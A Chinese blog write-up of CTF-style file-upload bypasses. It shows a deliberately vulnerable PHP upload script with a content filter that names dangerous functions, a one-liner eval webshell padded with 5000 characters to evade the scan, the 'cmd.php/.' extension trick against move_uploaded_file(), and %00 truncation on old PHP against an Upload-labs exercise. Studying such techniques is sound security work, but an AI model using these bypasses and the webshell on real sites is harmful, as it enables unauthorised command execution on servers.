利用move_upload_file()特性绕过文件后缀名黑名单

利用move_upload_file()特性绕过文件后缀名黑名单

做题的时候偶然间发现了文件上传中一种新的绕过方式,记录下来吧

move_upload_file()特性

/.绕过

先入为主,先来介绍下要利用的特性:
move_upload_file()函数中有一个特性,在文件移动时如果文件后存在/.,那会自动将/.去掉,所以我们就可以使用该特性来绕过黑名单的检测,从而实现文件上传。

例题

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $file = $_FILES['upload_file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
        $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
        $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

        if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
            die("不允许上传此类文件!");
        }

        if ($file['size'] > 2 * 1024 * 1024) {
            die("文件大小超过限制!");
        }

        $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

        $dangerous_patterns = [
            '/<\?php/i',
            '/<\?=/',
            '/<\?xml/',
            '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
            '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
            '/--\s/',
            '/\/\*\s.*\*\//',
            '/#/',
            '/<script\b.*?>.*?<\/script>/is',
            '/javascript:/i',
            '/on\w+\s*=\s*["\'].*["\']/i',
            '/[\<\>\'\"\\\`\;\=]/',
            '/%[0-9a-fA-F]{2}/',
            '/&#[0-9]{1,5};/',
            '/&#x[0-9a-fA-F]+;/',
            '/system\(/i',
            '/exec\(/i',
            '/passthru\(/i',
            '/shell_exec\(/i',
            '/file_get_contents\(/i',
            '/fopen\(/i',
            '/file_put_contents\(/i',
            '/%u[0-9A-F]{4}/i',
            '/[^\x00-\x7F]/',
            // 检测路径穿越
            '/\.\.\//',
        ];

        foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("内容包含危险字符,上传被奶龙拦截!");
            }
        }

        $upload_dir = 'uploads/';
        if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true);
        }

        $new_file_name = $upload_dir . $name;
        print($_FILES['upload_file']);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
            echo "文件上传成功!";
        } else {
            echo "文件保存失败!";
        }
    } else {
        echo "文件上传失败,错误代码:" . $file['error'];
    }
} else {
    ?>
    <!-- 文件上传表单 -->
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>文件上传</title>
    </head>
    <body>
    <div class="upload-container">
        <h2>你能逃出WAF吗?</h2>
        <form action="" method="POST" enctype="multipart/form-data">
            <label for="upload_file" class="custom-file-upload">选择文件</label>
            <input type="file" name="upload_file" id="upload_file" class="file-input">
            <input type="submit" value="上传文件" class="submit-btn">
        </form>
    </div>
    <script>
        document.querySelector('.custom-file-upload').addEventListener('click', function() {
            document.getElementById('upload_file').click();
        });
    </script>
    </body>
    </html>
    <?php
}
?>

题目中对于内容检测的过滤很严格
但是可以利用下面这段代码,在一句话木马前写入5000个字符,绕过过滤

$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

即:

aaa*5000
<?php @eval($_POST['cmd']); ?>

接着利用上述move_upload_file()的特性绕过后缀名过滤

move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)

于是上传文件时传入?name=cmd.php/.就可以上传木马了

最后可以通过在/uploads/cmd.php执行命令

%00截断绕过

php的一些函数的底层是C语言,而move_uploaded_file()就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00

在php版本<5.3.4,并且magic_quotes_gpc关闭的情况下,可以利用%00截断

magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

相关函数

strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])

例题(Upload-labs-Pass12)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这个Pass是白名单,最终文件的存放位置是以拼接的方式$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。

抓包修改参数?save_path=../upload/normal.php%00
并且修改文件名normal.png

最后蚁剑链接/upload/normal.png即可

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇